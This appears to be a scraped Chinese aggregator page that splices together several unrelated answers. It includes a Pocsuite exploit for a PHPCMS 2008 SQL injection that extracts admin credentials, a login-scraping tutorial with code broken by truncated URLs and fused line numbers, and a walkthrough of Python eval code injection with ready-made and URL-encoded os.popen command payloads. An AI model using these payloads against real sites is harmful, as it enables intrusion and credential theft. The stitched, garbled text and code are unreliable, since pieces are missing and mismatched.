pythonpayload(如何使用python编写poc,exp)

1.如何使用python编写poc,exp

然后来谈谈自己的看法:其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。

1. Requests : 模拟Web的请求和响应等交互动作。2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。

其余的大部分代码都是漏洞的信息。Pocsuite官方文档例子:#!/usr/bin/env python# coding: utf-8 import re import urlparse from t import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): vulID = '62274' # ssvid version = '1' author = ['Medici.Yan'] vulDate = '2011-11-21' createDate = '2015-09-23' updateDate = '2015-09-23' references = [''] name = '_62274_phpcms_2008_place_sql_inj_PoC' appPowerLink = '' appName = 'PHPCMS' appVersion = '2008' vulType = 'SQL Injection' desc = ''' phpcms 2008 中广告模块,存在参数过滤不严, 导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用, 如果关闭了错误显示,可以采用基于时间和错误的盲注 ''' samples = [''] def _attack(self): result = {} vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1') payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#" head = { 'Referer': payload } resp = req.get(vulurl, headers=head) if resp.status_code == 200: match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M) if match_result: result['AdminInfo'] = {} result['AdminInfo']['Username'] = match_result.group(1) result['AdminInfo']['Password'] = match_result.group(2) return self.parse_attack(result) def _verify(self): result = {} vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1') payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#" head = { 'Referer': payload } resp = req.get(vulurl, headers=head) if resp.status_code == 200 and '' in resp.content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = vulurl result['VerifyInfo']['Payload'] = payload return self.parse_attack(result) def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register(TestPOC) 可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。

甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。pocsuite.net 这个库其实就是Requests。

用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。

Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。代码很简单最主要的,还是对于漏洞的理解。

先说到这里,有空之后再写一些别的。

pythonpayload是什么意思,pythonpayload的参数获取,pythonpayloaddata和data

2.如何用Python写一个12 import requests from lxml import html 首先,我们要创建 session 对象。

这个对象会允许我们保存所有的登录会话请求。Python session_requests = requests.session()1 session_requests = requests.session() 第二,我们要从该网页上提取在登录时所使用的 csrf 标记。

在这个例子中,我们使用的是 lxml 和 xpath 来提取,我们也可以使用正则表达式或者其他的一些方法来提取这些数据。Python login_url = ".fromstring(result.text) authenticity_token = list(set(tree.xpath("//input[@name='csrfmiddlewaretoken']/@value")))[0]12345 login_url = ".fromstring(result.text) authenticity_token = list(set(tree.xpath("//input[@name='csrfmiddlewaretoken']/@value")))[0]**更多关于xpath 和lxml的信息可以在这里找到。

接下来,我们要执行登录阶段。在这一阶段,我们发送一个 POST 请求给登录的 url。

我们使用前面步骤中创建的 payload 作为 data 。也可以为该请求使用一个标题并在该标题中给这个相同的 url 添加一个参照键。

Python result = session_requests.post( login_url, data = payload, headers = dict(referer=login_url))12345 result = session_requests.post( login_url, data = payload, headers = dict(referer=login_url)) 步骤三:爬取内容 现在,我们已经登录成功了,我们将从 bitbucket dashboard 页面上执行真正的爬取操作。Python url = '.fromstring(result.content) bucket_elems = tree.findall(".//span[@class='repo-name']/") bucket_names = [bucket.text_content.replace("n", "").strip() for bucket in bucket_elems] print bucket_names12345 tree = html.fromstring(result.content) bucket_elems = tree.findall(".//span[@class='repo-name']/") bucket_names = [bucket.text_content.replace("n", "").strip() for bucket in bucket_elems] print bucket_names 你也可以通过检查从每个请求返回的状态代码来验证这些请求结果。它不会总是能让你知道登录阶段是否是成功的,但是可以用来作为一个验证指标。

例如:Python result.ok # 会告诉我们最后一次请求是否成功 result.status_code # 会返回给我们最后一次请求的状态12 result.ok # 会告诉我们最后一次请求是否成功 result.status_code # 会返回给我们最后一次请求的状态 就是这样。

4.如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。

这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。

在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。 因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。

实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容: 1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用 假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示: eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了: eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示: eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。

具体代码如下所示: __import__('os').popen('COMMAND').read() 为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示: param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。

在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器 为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。

接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。

相关操作指令如下所示: git clone /sethsec/PyCodeInjection.gitcd VulnApp ./install_requirements.sh python PyCodeInjectionApp.py 漏洞分析 当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞: 1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码: \ 大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。

除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。 不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。

而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec。

pythonpayload

转载请注明出处编程代码网 » pythonpayload(如何使用python编写poc,exp)

资讯

python计算积分(在python中如何求定积分)

阅读(8)

本文主要为您介绍python计算积分,内容包括在python中如何求定积分,在python中如何求定积分,如何应用python求函数积分。在python中求定积分的方法:导入计算积分的sympy包;2、输入“x= symbols("x")”命令定义一个符号;3、定义要积分的

资讯

python代码动态执行(python能动态加载代码吗?)

阅读(11)

本文主要为您介绍python代码动态执行,内容包括python能动态加载代码吗?,python能动态加载代码吗,如何使用Python动态控制Linux系统的内存占用百分比。增量开发必须是在线的吗? 不了解。我举个例子吧:在 a.py 中有一句x, y= 1,2复制代码现在从

资讯

python错误提示(Python出现错误,怎么解决,求解)

阅读(12)

本文主要为您介绍python错误提示,内容包括python错误提示的意思,Python出现错误,怎么解决,求解,Python中提示错误,什么情况?。1.SyntaxError: Missing parentheses in call to print错误命令:print hello,

资讯

pythonversion2.7(python2.7中如何执行java)

阅读(13)

本文主要为您介绍pythonversion2.7,内容包括python2.7中如何执行javaversion或者pythonversion命令?搜狗,生产环境中的Python版本由2.6升级至2.7可能会带来哪些问题百度,python版本为2.7,安装哪个ipython。os.popen已经是明确不推荐使用的

资讯

python数据分析软件(数据分析工具有哪些python)

阅读(11)

本文主要为您介绍python数据分析软件,内容包括python数据分析用什么软件,数据分析工具python,利用python进行数据分析用什么软件。IPython IPython 是一个在多种编程语言之间进行交互计算的命令行 shell,最开始是用 python 开发的,提供增强的

资讯

python和c的关系(python与C的区别)

阅读(10)

本文主要为您介绍python和c的关系,内容包括python与C的区别,python与C的区别,C语言和Python有什么区别呢?。python与C的区别如下。语言类型不同。Python是一种动态类型语言,又是强类型语言。它们确定一个变量的类型是在您第一次给它赋值的时

资讯

php和python比较(python与php的异同,和各自的优缺点?)

阅读(11)

本文主要为您介绍php和python比较,内容包括python与php的异同,和各自的优缺点?,php与python语言学哪一个比较好?,PHP好还是python好。相同点: 都是动态类型的解释型高级脚本语言。不同点既各自优缺点:PHP名称的含义是“超文本预处理器”。仅

资讯

python线程互斥(如何让Python线程支持excepthook)

阅读(7)

本文主要为您介绍python线程互斥,内容包括怎么用python实现互斥写文件,python除了互斥锁还有什么锁,python除了互斥锁还有什么锁。在游戏中,一般会在主线程开始时,设置一个 excepthook,来对程序异常进行特定处理。每个线程都有自己的栈,只要在

资讯

python感叹号(是否有)

阅读(10)

本文主要为您介绍python感叹号,内容包括Python中感叹号的作用,Python中感叹号的作用,python按着书上来的,不知道为什么错了,那个感叹号是干什么用的?。直接看第4条,n! 意思是从1乘到n”!“这个符号叫做感叹号。2、感叹号,为标点符号的一种,又称

资讯

pythontrie树(Python里面用什么trie树实现模块比较好)

阅读(11)

本文主要为您介绍pythontrie树,内容包括Python里面用什么trie树实现模块比较好,如何用java或python编程实现steiner树,trie树。Trie树是一种树的数据结构,又被称为字典树,非常适用于Ajax自动补全等场景,因为它通过空间换时间能极大提高特别字

资讯

插件框架python(如何设计插件式结构的程序,兼谈Python语言)

阅读(12)

本文主要为您介绍插件框架python,内容包括软件直接支持用Python写插件,如何设计插件式结构的程序,兼谈Python语言,python的框架知乎。为了扩充软件的功能,通常我们会把软件设计成插件式结构。Python这样的动态语言天生就支持插件式编程。与C

资讯

随机字母python(python如何自动生成单个随机字母(a)

阅读(10)

本文主要为您介绍随机字母python,内容包括python如何自动生成单个随机字母(az),python如何自动生成单个随机字母(az),python如何实现在列表中随机插入字母?。1:mport random#导入random模块 用于生产随机数功能2:a = random.randint(97, 12

资讯

pythonfetchurl(python爬虫网站的登录url怎么找)

阅读(9)

本文主要为您介绍pythonfetchurl,内容包括:'GET'问题怎么解决?反复出现,已经严重,python爬虫网站的登录url怎么找,python爬虫网站的登录url怎么找。抓取网页所有url的简单Python爬虫源码,只用到了一个Python标准库urllib模块,没有用B

资讯

python海量数据(如何用Python从海量文本抽取主题)

阅读(9)

本文主要为您介绍python海量数据,内容包括如何用Python从海量文本抽取主题,大数据和python有关系吗?,如何用python进行大数据挖掘和分析。代码我们在Jupyter Notebook中新建一个Python 2笔记本,起名为topic-model。为了处理表格数据,我们依然